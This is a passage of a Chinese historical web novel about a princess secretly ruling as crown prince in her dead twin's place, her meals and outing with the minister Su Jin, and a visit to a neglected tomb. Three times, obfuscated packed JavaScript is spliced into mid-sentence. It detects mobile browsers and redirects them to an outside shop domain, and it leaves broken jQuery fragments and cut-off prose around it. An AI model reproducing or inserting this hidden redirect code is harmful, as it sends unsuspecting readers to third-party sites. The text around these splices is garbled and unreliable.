“你还嫌不够丢人吗？”乔绍悻悻着脸，压低声音吼，“你要闹，跟我回家去闹，别当着太子和这帮奴才的面使性子！” “妾早已无家可归。”却见孟蕊初从袖中抽出一张叠得方正的信纸，扔到他跟前地面。 “妾即将入道观清修，今日来，只是为了将这封离绝书亲手交给你。妾知道，宗室没有和离的道理，也不指望你会舍下脸面，答应两愿和离。“ “如今世子拿着此信，禀告了令尊，去礼部也好，去宗正院也罢，废了妾，休了妾，要养多少外室，悉听尊便。” “你疯了！”乔绍不敢相信自己的耳朵，甩开两个校尉，抄起地上的纸撕了个粉碎，“你放着锦衣玉食的世子妃不做，要去道观里做姑子？” 孟蕊初轻笑：“世子殿下，世子妃的尊荣之位，你愿意给谁都可以。比起世子妃，妾更愿意做女道士，至少清静，体面。” 在乔绍震异的目光中，她转向太子，安静行了一礼。 见太子身后的苏觐侧身避让，她礼貌开口：“正巧苏大人在此，予冒昧求问，不知秦王殿下或王妃娘娘是否有旨意带到？” 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530985|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觐端袖：“并无旨意。但二位尊长确实有话，托臣转递给娘娘。” “请讲。” “秦王殿下道：世子已诚心悔悟，不会令世子妃再受委屈，问娘娘何时回去。王妃娘娘道：世子妃若有心求道，亦可回到王府，在家修行，不必入道观受苦。” 见孟蕊初沉默不语，他补充：“臣只是奉命传话，娘娘知晓就好，别无他意。” “多谢大人，予都听清了。”孟蕊初道。 乔鹤练见状道：“孟姐姐若是累了，我让她们送你先回宫休息，此事改日再说？” “劳烦殿下。”孟蕊初垂首。 “等等！”只见乔绍奋力扑倒在地，一把抓住孟蕊初衣角，“你真的要走？我不信！你从前不会这样的……” 他的心空荡荡的，此刻被巨大的恐惧擭住，犹如当头棒喝。 他的发妻是他自己选的，二人两情相悦，只在子嗣上有隔阂。秦楼楚馆的女子，他只是逢场作戏。若非玉颜身怀有孕，他那天又很心烦，怎么会当场失控拿妻子撒气。 妻子温善柔美，贤名在外，代他在父亲和王妃那里成全了无数礼节孝道，八年来对他骂不还口、体贴入微。 父母之爱已是残缺不全，如今夫妻之情也要分崩离析吗？ “请世子放手。”孟蕊初冷冷道，“我心已决，不可转圜。世子就如此回家，禀告令尊和娘娘吧。” 她提了一下裙摆，没能提动，乔绍跪在她裙边，崩溃道：“蕊初，你和我回去！都是我的错，我对不住你，你打我，骂我，我给你赔罪，只要你解气就好！不要冲动！” 他红了眼眶，啜泣哀求：“求求你，再给我一次机会，我一定好好待你，我发誓……” “世子误会了，妾没有冲动置气，今日抉择，是经过深思熟虑。殿下好自为之，你我八年情分就此恩断义绝，后会无期。” 言罢用力甩开了裙摆，转身离开。 乔鹤练示意宫人上前搀护。 乔绍并不肯罢休，膝行几步，还欲纠缠，乔鹤练转头看向校尉：“你们愣着做什么？还不送世子回府？” 两个校尉立刻动手把乔绍往回拖。 乔绍气急败坏，咬牙切齿地瞪着她，眼中是泼天恨意：“乔缜！你不要逼人太甚！” “反了！”乔鹤练肃容呵斥，“本宫名讳，只有天子可以直呼，令尊都不敢这样喊我！此等大不敬之罪你也敢犯，怕不是活腻了！” “拖出去！”她厉声喝命锦衣卫，“将他今日言行，逐字逐句学与秦王，不得遗漏！” 待众人散去，闹剧已结，院中再度安静下来。 只听苏觐在她身后幽幽道：“殿下威仪如雷霆霹雳，令臣震悚战栗。” 哈？嘴角震悚战栗吧。刚才四周都是人，没地方躲起来笑，也不知他忍出内伤没有。 她咳嗽一声，佯作轻松：“还好。” “此刻已申时了，殿下想去哪用膳？” 什么？时间过得这么快的吗！乔鹤练大惊失色。 都怪乔绍嘴那么欠，喋喋不休，每次遇到他都要倒霉！ 那还纠结啥，直接让人送到文华殿呗，来之前她还有把握，这下是真有可能写不完了。 “那什么……”乔鹤练挠头，有些不好意思，“我被乔绍耽误了这么久，之前说好的亥时，是不是可以往后延延？” “不用。”苏觐微微一笑，“看殿下刚才言行，臣昨夜的絮叨，殿下领悟匪浅。那十遍功课可以减五遍，仍是亥时。” 哇，这么好！ 乔鹤练如释重负：“那你去哪？” “臣随殿下。”他淡淡道，“时刻提醒时辰，以免殿下延误功课。” ……头一回听人把蹭饭说得这么冠冕堂皇。 “那还是回文华殿吧，我让行简送到暖阁。”乔鹤练道，“你有什么想吃的吗？” 20. 共餐？留宿！ “臣随殿下口味。”苏觐道。 回到文华殿暖阁，行简正领人布菜，乔鹤练嘴上闲不住，又和苏觐聊了起来：“那你平时晚上怎么吃？” 早上苏觐要向王妃请安，所以肯定在秦王府，这不用问。 “内阁，京营，王府，场所不定，或是臣家中。”苏觐答。 “你家中有人备饭？”乔鹤练不禁好奇，她还以为他多数时候住在秦王府上。 毕竟秦王那么阔，王府宅邸大，比皇宫新多了。宫中不少宫苑无人居住，年久失修，也就东宫和部分太妃的宫苑维持得不错。 而苏觐尚未成婚，没有家室，一个人待着多无聊。 话又说回来，每天对着乔绍那种乱咬人的狂犬，不能骂回去，还不受亲娘的待见，换她，她也住不下去。 “有仆役一二，但非臣专雇，每日也下值。”苏觐道。 “你家宅在哪呀？” “南熏坊以西。” 位置不错，离皇城近，估计没多大。 但比岑典强多了，岑典父母好像是永平府庄主，有不少良田，家境挺殷实的，他自己也有俸禄。想必是花钱太大手大脚，以至于穷得赁房居住，浑身掏不出十两银子。 苏觐既不住王府，那秦王和王妃大概率不会给他购置宅子。这么看，如果苏觐的宅子是靠俸禄自己买的话，那他平时生活该有多省简。 怪不得这人穿衣打扮那么朴素，干净得体是一回事，但用料、工艺都很平凡，完全是靠容止撑起来的。 说句难听的，他只有几套官服、赐服算得上好衣服。起码大身底料是绫锦罗纱，有官绣的补子或是缂丝妆花的纹样。 那，将岑典从诏狱里赎出来的一千两银子，岂不是把这人家底都掏空了。 “你今晚还回家吗？”乔鹤练问。 “殿下宫门落钥前能写完？”苏觐反问她。 “……”这都申时了，千手观音也赶不上啊。“不能。” 看来他又要留在内阁值房过夜了，也不知值房环境怎么样。 此时晚膳已布置完毕，其余人都退下了，只有行简留在暖阁。 行简端起瓷碗，正要拨勺给女君盛汤羹，忽被苏觐抬手挡住：“碗，给我。” 行简捧着碗，深吸一口气，没动。 苏觐微讶，重复一遍：“给我，你回去吃自己的。” 行简一动不动，道：“奴婢吃过了。” “那你就回去歇着。” “此刻千岁在进膳。”行简低着头，不卑不亢，“正如为殿下讲读是大人份内之事一般，服侍千岁进膳，是奴婢份内之事。” 他想，苏觐果然居心叵测，连贴身伺候的差事都要和自己抢。早上借着写字的名头手拉手，晚上还不得借着喂饭的名义…… 太可怕了，太可怕了！ “我说，你现在下值了，回去。”苏觐冷淡道。 见行简仍托着碗不动，他有些惊了，这内臣今日是也被乔绍咬了，传染了狂病吗。 “是我说的话令人费解吗？”他问。 行简道：“大人是阁臣，管朝政之事和储君学业；奴婢是内臣，服侍千岁休息用膳，并无不妥。且奴婢的主子是千岁，千岁并未发话，大人无权强行令奴婢下值。” 乔鹤练听得稀里糊涂，搞不懂这两个人怎么会呛起来，火药味还挺浓，再争下去饭都要凉了，赶紧打圆场：“行了行了，行简留下，你们俩轮流，不要打抢。” 多个人聊天还热闹呢，何乐而不为。 苏觐心底便窜起些无名的愠火，按他平日性格，压根不会同小内臣计较此等微末之事，更不可能费口争论。 可看到太子一门心思袒护这内臣，他就生气，只是面上波澜不惊，微扬唇角：“我有京营机密同殿下商榷，请你回避。” 行简反驳不过，只得义愤难平地退了出去。 “哇！”乔鹤练佯作惊喜，装出极感兴趣的样子，“什么机密，快说快说！” “食不语，寝不言。①”苏觐冷冷道，“请殿下闭上嘴，安心吃饭。” ……好好好，你给我表演一个闭上嘴，从鼻子里吃饭吧。 “要我说，孔老夫子说的话也不是句句有理，”乔鹤练道，“吃饭不能聊天，睡觉不能说话，那人活着还有什么劲。” 见苏觐只是默默给她夹菜，完全没有搭理的意思，她既无聊又无奈。 搞不懂这个人什么想法，动不动就生气，非要单独守着她，又不肯陪她聊天，怎么就这么别扭。 “你为什么不吃，是不喜欢吃这些菜吗？”她忍不住又问。 看了眼桌上的菜，有冬笋，糟胭鹅，蔬菜扁食和燕窝羹，菜相都还好看。身为天潢贵胄，她吃穿用度算随意的，既不铺张，也不凑合。 “殿下先吃吧，殿下吃完臣再吃。”苏觐道，“没有不喜欢的。” 这小人还是吃得太少，还骑马呢，吃这么少扯得稳缰绳吗，一会就该手疲了。 “我哪吃得完这么多呀！”太子无语道，“再说了，你难道要吃我吃剩的？” 这句话没来由得戳中了苏觐的心事。 他生长在乡野边陲不假，但自幼随母亲的性子，是有些洁癖的，衣衫可以不昂贵，却必须熨贴无垢。吃饭向来习惯分餐，即便同寻戈也是。岑典就更不用提了，但凡那厮沾过的东西，他绝不会入口。 可面对这个小人……他竟一点也不排斥。 “侍君之道当如此。”苏觐道，“无所谓剩与不剩。” “……”乔鹤练无语。平时当着臣工们的面，装一装也就算了，私下独处还讲究这些，累不累啊。 “我没你那么多规矩，既然是我的饭，就必须听我的，本宫命令你，现在就吃。” 苏觐拿起了筷子。 乔鹤练道：“你刚才说，没有不喜欢的，意思是，这些菜都是你喜欢的吗？” 苏觐沉默片刻，道：“也不算。” “什么意思？”乔鹤练听不懂了。 “臣没有喜欢的菜，也没有不喜欢的菜。”苏觐道。“膳食是用以维持生计的，不是用来挑拣喜好的。” 小的时候，母亲不许他挑食，每次都是这么对他说的。无论多么难以下咽的食物，都必须嚼碎了吞下去，不能吐出来，不能说不喜欢。 “那好吧。”乔鹤练道，“那我就当你都喜欢了。” “可以。”苏觐道，“殿下吃好了吗？吃好了请就移步殿上，臣让他们收拾了。” * 在乔绍来之前，乔鹤练已写了将近四遍，剩下的时间绰绰有余，所以一点也不担心写不完，继续边写边攀谈。 苏觐起初还答应着，到后面不知是说累了还是怕她写不完，径直从她案上抽了本《论语》自顾自看起来，再也不讲话了。 什么玩意？孔圣人的教诲还能比跟她唠嗑更有趣吗？ 直到全部写完，她回头一看，才猛然惊觉，那人竟靠在座椅上，脸上覆着那本翻开的论语，一动不动地睡着了。 他的纱帽静静搁在一边，网巾压着如墨般齐整的鬓发。她轻悄悄地捏住书脊，拎起那本书，观察着他的睡颜。 他的睫毛也是密长的，轻轻搭在睑上，衬得眉眼如画，煞是昳丽。可神情又过于肃穆，显出七分冷峻，唯有肤色在灯火的映照下显出暖调，才添了三分柔和。 唉，这得是有多困，才会一声不吭地守着她睡着了呢。既是睡着了，为何脸还绷得那么紧，姿势也那么正呢？是因为童年不幸，还是因为十年的戎马生涯？ 他太焦虑了。 在边陲，在漠北，在喀兀人凶残的劫掠中，在无尽的炮火与乱矢里，很难睡一个安稳踏实的觉，所以才会不肯休息，也理解不了什么是休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531254|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。 下午他说，好不容易休息两天，她大概明白了。是秦王借着来东宫看管太子的名义，要他休息两天，可即便这样，他宁愿让所有人都休沐，自己也不肯歇一天。 还是说，盯着她写字，于他而言已经算休息了呢？ 这样可不行啊，乔鹤练想，得先教会这个人自己怎么休息，才能让他理解为何天下百姓都该休息了。 他已经在东宫了，在静谧庄严的文华殿上，在守卫森严的皇城中，这里没有喀兀铁骑，没有鲜血与屠戮，没有必须征服的草原与霸业，所以，先什么都不要管，好好地睡上一觉吧。 行简小心翼翼地迈入殿门，悄声问她：“千岁，要叫侍卫过来把他送回内阁值房吗？” 能让这么端着的人睡得这样死，可见内阁值房的环境对他来说一定极不放松。 大概昨晚也一夜未眠。 “抬进偏殿吧。”乔鹤练道，“寻个最避风的屋子，远离喧嚣。” * 苏觐醒来的时候，天已蒙蒙亮了。 屋子里很安静，很暖和，地板上燃着精致的炭盆，床榻很宽，被褥柔软亲肤，仿佛陷进去就再也不想出来。 他身上被换上了干净的寝衣，是丝绸的，触感极好，他没有穿过这样好的内衫。对他来说，贴身的东西，不脏不破就好，外袍体面便足够了。 衾枕上沾着淡淡的檀香，窗边的莲勺熏炉里也燃着温润的檀香。 这味道很熟悉，是太子身上的味道。 很助眠，很解压，闻久了就想沉沉睡去。 有多久没有睡过这样的好觉了？ 也许是从堂兄和发小当着他的面被喀兀人开膛破肚开始。 也许是从乡亲们扶老携幼地倒在紧闭的城墙下开始。 也许是从父亲躺在血泊里的那个死寂的冬夜开始。 眼前的景象令他很陌生。舒适，包容，接纳，安全，很像诗文上写的，岑典他们口中说的，母亲的感觉。 和他印象中冰冷苛刻的母亲很不一样。 他抬眸，盯着香炉上层叠的莲瓣愣神。 他喜欢莲，莲花于他而言，是美丽与救赎的女神。象征着生机盎然的夏季，有别于肃杀萧条的冬天。 一如太液池畔的女孩手上的莲瓣，一如她衣裙明媚的颜色。 而莲，只可远观。所以他从未靠近，只敢远远地偷看。看着她和别人并肩，盛放。 直到凋敝，消亡。而他连这个过程，都是从旁人口中得知的。 凭什么呢。 他木然地坐起身，把脚落在脚榻上。 有内臣端着盥洗器用进来，谦卑地问候。 他不喜欢宦官。许多宦官脸上的表情很虚伪，表面讨好，内心贪婪，时刻密谋着颠覆朝堂，让他感到被逾矩，被越权。 这是不舒服的因素。应该从这个场景里剔除。 “放下，出去。”他冷冷道。 他将脸冲洗清醒，用盐粉漱齿，有宫人端着熏过香的干净衣袍进来，问他是否需要帮忙梳发。 “我自己来。”他道，“出去。” 他对女人没有感觉。但女人的闯入，让他感到被冒犯。 除母亲之外的女性，他这辈子只在意过陈留。而他对陈留，并未有过任何欲妄遐想。 女神是不可亵渎的。 当然，他对男子间的情愫更加无法理解，甚至可以说是厌恶。 他将衣服一件件穿好。中单，夹裳，衬衣，外袍。 外袍上新熏了他习惯的零陵香草的味道。意外的合身。 这件外袍的用料极有质感，织造工艺考究，上身轻盈保暖，肉眼看不见针脚。虽然也是素色，没有暗纹，但和他那些简朴的便服判若云泥。 随后，太子进来了。 小人打量着他，问道：“知道这是谁的外袍嘛？” 21. 去你家 乔鹤练瞧见，苏觐平静的目光中闪过一丝罕见的慌乱，随后皱着眉开始宽衣解带。 哟，还是知道怕的，知道做乱臣贼子是大逆不道的。 “没必要。”她揶揄，“穿都穿上了，现在脱下来也晚了。” “你不说，我不说，谁看得出来？我爹闲置的便服，又不是衮冕龙袍。一件素袍而已。送你了。” 他停下来，定定地望着她：“这太过僭越。” 听到这两个字，乔鹤练简直要发笑，可惜接下来要说的话，实在让她笑不出来。 她无言地瞪着他，凉凉道：“你苏觐所做的僭越之事，还差这一件？” 大约觉得她说的有道理，苏觐顺其自然，系好衣带，正回了衣襟，问：“什么时辰了？” “不到卯正。”乔鹤练道，“看你昨晚那么困，是内阁值房睡不好觉吗？” “嗯。”苏觐点头，“有旁人。我习惯独眠。” 哈，还挺讲究。 乔鹤练促狭的心思愈发踊动，立刻捉弄道：“昨日你睡着了，没人盯着我，所以功课我没写完。” 言罢，故意挽起衣袖，把右手伸给他，挑衅道：“你打啊。” 苏觐无声垂视小人的神情，顿了片刻，抬起手，在那白皙掌心上不轻不重地拍了一下。 计谋得逞的乔鹤练乐不可支，故作夸张地缩回了手，忿声质问：“你还真打！” “殿下自己要求的。”苏觐道。 乔鹤练才不顺着他的话往下说，自顾自道：“昨天你刚睡着，我就写完了，不信你自己看，在外面桌上。” 苏觐本觉得没必要，但又怕小人失望，于是踱了出去。 不翻则已，一翻讶异，如此一心二用，半天之内写出来的东西竟还真能入眼。 怪不得先帝当年那般宝爱太孙，确实聪慧过人。当然，传闻中的荒唐也不假就是了。 “你冤枉好人，滥施酷刑，你这可恶的酷吏。”乔鹤练紧随其后，喋喋不休地给人安罪名，“三法司六扇门，谁像你这般，审案不看证据，只听口供？” “臣有罪，请殿下责罚。”苏觐道。 小人张口闭口三法司，看来对北镇抚司的诏狱是一无所知啊。 “罚你带我出宫，去京郊玩。”乔鹤练兜了一圈，终于说出真实目的，“我们俩也要休沐。” “休沐可以，”苏觐温言拒绝，“出宫不行。” “为何不行？”乔鹤练摆出歪理，开始耍赖，“若我自己偷溜出宫，还要怕被你抓回来。现在直接让你带我去，不就没人抓我了吗。” “再说了，好不容易休沐，难道我们就这样面面相觑，在东宫坐一天？” 不知是被少年蒙蔽了神志，还是昨夜一晚上彻底睡魔怔了，苏觐听见自己用当机立断的声音道：“走。” * 出了东安门，途径甜水巷，乔鹤练一拍脑袋：“你带钱了吗？” “我家就在前面，这不是正顺道去取么。”苏觐道，“殿下想进去坐坐吗。” 想到太子金尊玉贵，又觉得有些不妥，道，“寒舍简陋，恐怕怠慢殿下。” 乔鹤练听了很是惊喜，想不到出宫一趟还能看到他家宅长什么样，迫不及待：“当然，快快快！” 宅子在巷尾，面积不阔，小院以简约的青石板铺就，院角栽着绿竹，随风沙沙作响。 拢共三间屋子，一间正房，一间厢房，一间倒座房，格局一眼到头，极为简单。 猜到厢房可能是寻戈的，乔鹤练不由感慨：“你这宅子，要是来个客人，都没一间单独的卧房。” “殿下想过夜么？”苏觐淡淡道，“臣可以睡地上。” “你不是习惯独眠嘛？”乔鹤练呛回去，“你去倒座房，睡厨房吧。” “是。”苏觐点头。 步入主屋，眼前装潢风格古朴素净。多宝格上的摆件一瞅便不值钱，只占了精致耐看。 正厅与书房是一体式，壁上以书画装饰，陈设文雅，与华贵毫不沾边，却布置得极有品位。 见他提壶烧水，乔鹤练立刻道：“我不喝茶，你快点拿上荷包出发吧。” 见他又步入屏风后，乔鹤练不耐烦道：“别换了，都说送你了。这衣服压在箱柜里，不是暴殄天物吗？” 她忽然想起一件更要紧的事情：“你，家里还有，钱吗？” 她几乎可以确定，对于这个人来说，替岑典赎刑的一千两绝不是小数目。她当初只想把岑典整进大狱，想不到竟一箭双雕了。 “有。”苏觐道。 所剩无几而已。 不过，只要近期不出意外，还在可控范围内。发俸的日子快到了。 乔鹤练也不好再多问。 二人出了巷子，来到一间赁马铺子，她好奇道：“你自己没有马么？” “寻戈骑去京营了。”苏觐道。 他忽然想起今早太过安静，随口问：“早上在东宫，为何没被打搅？” “你说行简啊？”乔鹤练笑道，“当然是被我支走了。” 否则行简说什么也不会答应她和苏觐单独出宫，必定要跟着的。 等他发现她和苏觐不见了的时候，他俩早出城了，哈哈！ 租了马匹，和苏觐一前一后骑至永定门，望着冬日艳阳照耀下的高大城墙，往事翻涌入脑海，那日正是他载着原泰的棺椁，和自己在此处分道扬镳。 乔鹤练下意识地问：“你，为什么动岑典？你们，不是故交么？” “奉天门事发前，我再三警告过他，不要掺和原少师的事，不要去秦王面前跳脚。”苏觐道，“他答应得好好的。” 结果呢？转头就趁他不在，把事态挑唆到不可挽回的地步。 原泰本该致仕归乡的。他想，如果他是斗败的那一方，原泰也会留他一命。 但自己会情愿苟活吗？恐怕不会。 哪怕头破血流，也会死磕到底。 所以原泰的选择，他可以理解。 而家国的车轮，永远只能往一个方向驶去。 * 路过一家扁食店，乔鹤练饶有兴致地端详着招牌：“哇，是扁食呀！” “殿下想吃？”苏觐不由奇怪，千金之子，锦衣玉食，什么山珍海味没尝过，会对这种寻常主食感兴趣。 昨晚在文华殿暖阁也有扁食，也没见这小人吃多少啊。 “我想吃。”乔鹤练道。 他们在店门口坐下来，点了两碗扁食。 一份羊肉萝卜，一份虾仁豆腐。 “你喜欢什么馅的？”乔鹤练问。 “都可。”苏觐道。 “那你分别尝一个。”乔鹤练把两个碗都推到他面前。 看着他吃完，她道：“你喜欢虾仁豆腐的。” “怎么说？”苏觐更加莫名。 “因为我感觉，你在吃虾仁豆腐的时候，更开心啊。”乔鹤练道。 昨晚的四道菜，做法最细的是腌糟鹅，食材最贵的是燕窝，冬笋鲜嫩，味道最普通的就是那道扁食。 看得出苏觐当时胃口并不好，可能是没休息好，也可能是被乔绍恶心到了。虽然他把她吃不完的菜都吃了，但最先被吃尽的，是扁食。 所以他肯定喜欢吃扁食。 而且他不喜欢萝卜或者羊肉，因为他吃羊肉萝卜的速度，明显慢一点。 “你喜欢吃什么东西，你自己不知道吗？”她问。 苏觐恍惚了一瞬。 这句话，秦王也对他说过很多次。 从年少时开始，秦王就不厌其烦地这般问他。 哪怕他一次次地回答，不知道。 见苏觐不说话，乔鹤练便换了个话题： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533819|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你和我爹身形挺相似的，他有些不穿的衣服，都留在内府了，我想放着也是浪费，你就当，是他送你了。” 苏觐放下汤勺，拱手：“叩谢陛下。” 乔鹤练用筷子戳着汤面上的葱花，一时也有些出神，叹了口气。 “唉，要是你是我爹就好了。” “什么？”苏觐以为自己耳朵坏了。 “啊，不是。我的意思是说，要是我爹是你就好了，”乔鹤练赶忙解释，结果越说越乱，捋了半天， “我在想，要是我爹像你这么厉害，我也不至于……” “不至于什么？”苏觐轻哂。 被你们这样按在地上欺负。一个人，孤零零，朝野上下，势单力薄。 若她爹足够强大，有苏觐那般的魄力，肯定能把她保护得很好，会帮她守稳大位和江山。 可这种话，她哪里说得出口。 苏觐看着她，道：“殿下放心。” “殿下不用害怕。臣可以保证，只要殿下做到两件事，殿下的储位和性命，任何人都撼动不了分毫。” “哪……两件事？”乔鹤练盯着汤底的扁食，不敢抬头，竭力克制嗓音的颤抖。 “第一，不私通敌寇。第二，不阻碍北伐。”苏觐平淡道，“殿下冰雪聪明，想做到这两件事，应该不难吧？” “嗯。”十个字如鼓槌擂在心头，乔鹤练勉强点头，企图用专心吃饭来掩盖恐惧。慌忙将扁食整个捞起送进嘴里，烫得舌尖又痛又麻。 她飞快地咀嚼，囫囵咽下，将危险话题盖过去：“我刚才其实是想说，你和我爹，除了身形像，其他地方一点也不像。但是看到你穿这身衣服，我又会忍不住想到爹爹，不知道为什么。” 苏觐听完，也沉默了。 缄默良久，他道：“今天早上，在殿下的偏殿醒来，我也想到母亲了。” “你是说，伯母吗？”乔鹤练抬头。 秦王妃吗？ 苏觐摇头：“不，只是想到母亲。或者说，被母亲温柔呵护的感觉。是书上写的，别人说的那种，和我娘，完全不一样。” 第一次从这人口中听到这种话，乔鹤练不知该怎么接，想了想，道：“这种感觉，很奇怪吧？可你又不像我爹，你很像姑母。你们都喜欢管我，又都会打仗。你凶我的语气，和她一模一样。” 鲁国长公主么。苏觐想，可惜长公主没有子嗣，不然做她的儿女，一定很幸福吧。 他终于没忍住，问出了心底埋藏已久的感受：“有没有人对殿下说过，比起陛下，殿下更像秦王殿下？” 穿衣服像，说话也像，年少冲动和拍桌子假装发火的样子，简直一模一样。 “嗯，确实有。”乔鹤练点头，“在特别小的时候，伯父经常带我玩，我爹就从不带我，他就和母后待着。” 因为刚才提到了鲁国长公主，她咬了咬筷子，问苏觐：“你真的觉得，自己对朝廷的贡献远不如姑母吗？” 苏觐点头。 “长公主抗倭有成，而北伐大业未竟，道理很简单。”他解释道。 “可倭寇多好打，喀兀多难打呀！”乔鹤练再也憋不住，说出了心里话，“怎么能这样比较呢？即便北伐未成，你打过的那些仗已经很厉害了，我觉得，比抗倭厉害得多得多！” 打倭寇能花几个钱？几个月就搞定了。打喀兀又有多劳民伤财，从先帝到秦王，已经打了二十年！他是少年进士，如今身为阁臣，这么简单的问题理不清吗？ “功业只有成或不成，没有将成，或者成一半的。”苏觐心平气和，“等殿下长大就明白了。” “……”唉，算了，好不容易出来一趟，还是好好散心吧。别想这些烦心事了。 “走，我们骑马去。”乔鹤练道，“我带你去一个地方。很久没去了，也不知道现在变成什么样了。” 22. 去我墓 牵紧缰绳，眺望连绵的群山，走马霜冻的古道，苏觐忽然有了一种强烈的预感。 “殿下是，要去，探望令妹吗？”心跳得不快，但异常清晰，仿佛贴着耳骨在响。 “你猜到了？”乔鹤练无谓道，“对啊，不过去那儿的人很少，我也很少去。” 他们终于到达那座荒芜的坟茔。 陈留公主墓。 可以称得上简陋，因常年无人清扫，生满杂草，遍布尘埃。石碑已经有了破败的裂痕，上面的刻字填着泥泞。 “为什么，很少来？”苏觐并没有来过这座墓。知道此地确切位置的人极少，而他，也向来不敢打听。 “触景，伤情。睹物，思人。” 嗯。都是一样的理由。 乔鹤练：“毕竟是双生兄妹，心连着。他离世时，我的身躯，就像被横着劈开，竖着斩断一样痛。” “那种撕心裂肺的感觉，就仿佛，自己也亲身亲历地死了一遍。” 也的确，“死”了一遍。 她感到一只手默默搭在她肩头，像无声的陪伴和宽慰。 “我没事。”她故作轻松，用衣袖把淌出眼眶的泪擦净。“五年了，该放下了。” “只是忽然想到，若他还活着，我也不至于，这么孤独。” 她和阿缜的感情很好，自幼亲密无间，无话不谈，好得就像一个人一样。阿缜是世界上最好的哥哥，比爹和娘对她都好。 而阿缜突如其来的离世，连带着她，也不得不“死”去，从此以后，隐姓埋名，代替他活着。 阿缜就更惨了，尸骨就地填埋，连一座真正的陵墓都没有。 不知是不是想换个轻松点的话题，她听到苏觐轻声问：“陈留殿下，她，有名字吗？” “她的闺名，你不知道吗？”乔鹤练不禁奇怪。小的时候，伯父伯母是唤过她闺名的。即使儿时俩人不熟，他不可能没听过。 “她叫，鹤。”她随后答道，“羡青山有思，白鹤忘机。①” “鹤儿。”苏觐低低地唤。 第一次听到自己的闺名，被此人用如此亲昵的口吻唤出，不严肃，不清冷，仿佛含了无限珍重与温柔。 她怔了怔，心跳得有些乱，有些急。 “这个，臣知道。臣问的不是闺名，是表字。”苏觐道，“公主殿下及笄之时，没有取字吗？” “字啊。”乔鹤练道，“有的。” 追封公主那年，她十五岁，正是及笄之年，也是父亲登基，她受封太子的那年。 彼时的她，已经在先帝和诸多朝臣的注视下，顶替阿缜，当了整整两年的皇太孙。 没有露馅，也算是虎口余生了。 “若是不方便告知外臣，”片刻未语，便听苏觐开口，“殿下，恕臣唐突，是臣冒犯了。” “什么外臣，什么冒犯呀。”乔鹤练无语他满口的繁文缛节，“闺名你都知道，大名有什么不能告诉的。” 知道她名字的人很少，也不太有人问这个。毕竟十三岁就夭折的少女，有多少人家会专门行及笄礼，特地取字呢。 她很久没有念过自己的名字，所以愣了一下。 “陈留的字，保留了闺中鹤字，第二字从丝，取作，练。”她道。 “白鹤忘机，练于骨者②。”苏觐沉吟少顷，“陈留公主的名讳，唤作，鹤练？” “嗯。”她点头。“乔，鹤练。” 说完她顿时反应过来，原来直到此刻，苏觐才知道，她的全名叫什么。 毕竟是外男，也正常。 名义上唤一句兄长而已，和本家宗室们比起来，到底亲疏有别。 “很美的名字。”苏觐道。 柔软至洁，纯白治愈。 非常符合他心目中，救赎女神的名字。 他很喜欢。 “谢谢。”乔鹤练道，“鹤儿她，听到了。” 又是良久的沉默。 天地博大，包纳着辽阔的原野和苍郁的青山。举目，云霭层叠，耳畔，朔风萧萧。 “需要臣替殿下，为公主，清扫一下吗？” 她听见苏觐在问她，语气有点拘谨，甚至小心翼翼，这实在太陌生了，很不像平时的他。 “嗯。”乔鹤练点头，“扫扫吧，确实太杂乱了。她很娇纵的。以前，但凡住有点挤的屋子，都会睡不着，穿件不漂亮的衣服，都会不开心的。” 她只是随口闲扯两句，但话刚出口，立刻察觉不对，好像在故意讽刺谁一样。 她才不是嫌贫爱富的人。对于她而言，高贵的灵魂，清白的风骨，忠贞不渝的心才是最重要的。 “我没有在说你家里小或者你的衣服差的意思。”她急忙找补，“你的宅院挺好的，衣服也是，素雅，我觉得挺好。” “殿下谬赞。”苏觐声音有些紧，像压抑着某种情绪。 但他面上毫无波澜，只是淡漠道：“殿下恕罪，臣失礼。” 言罢解下丝绦，挎在肘上，将外袍就地脱了下来。 他里面衬底的褶袍也可外穿，并不算失礼，乔鹤练道：“别脱了，你不冷吗？” “御赐之物，不可脏污。”他将外袍对折叠好，递到她手里，“劳烦殿下替臣保管。” 他把绦绳当做襻膊，将衣袖挽起系好，屈身在她墓前，徒手拔草。 他干活的动作很迅速、麻利，并不比执笔批奏本时生疏，似乎儿时经常做这种洒扫的粗活。 “我帮你？”乔鹤练感觉自己在旁边干看着有点不太好。 “不用。”苏觐道，“杂草锋利，殿下恐会划伤手。” 她伸出手看了看，确实嫩了点，她没有做过拔草之类的工作，也不太会。为了不帮倒忙，便没有坚持。 他的衣衫上很快沾满草灰和尘土，这是她第一次见他穿脏衣服。 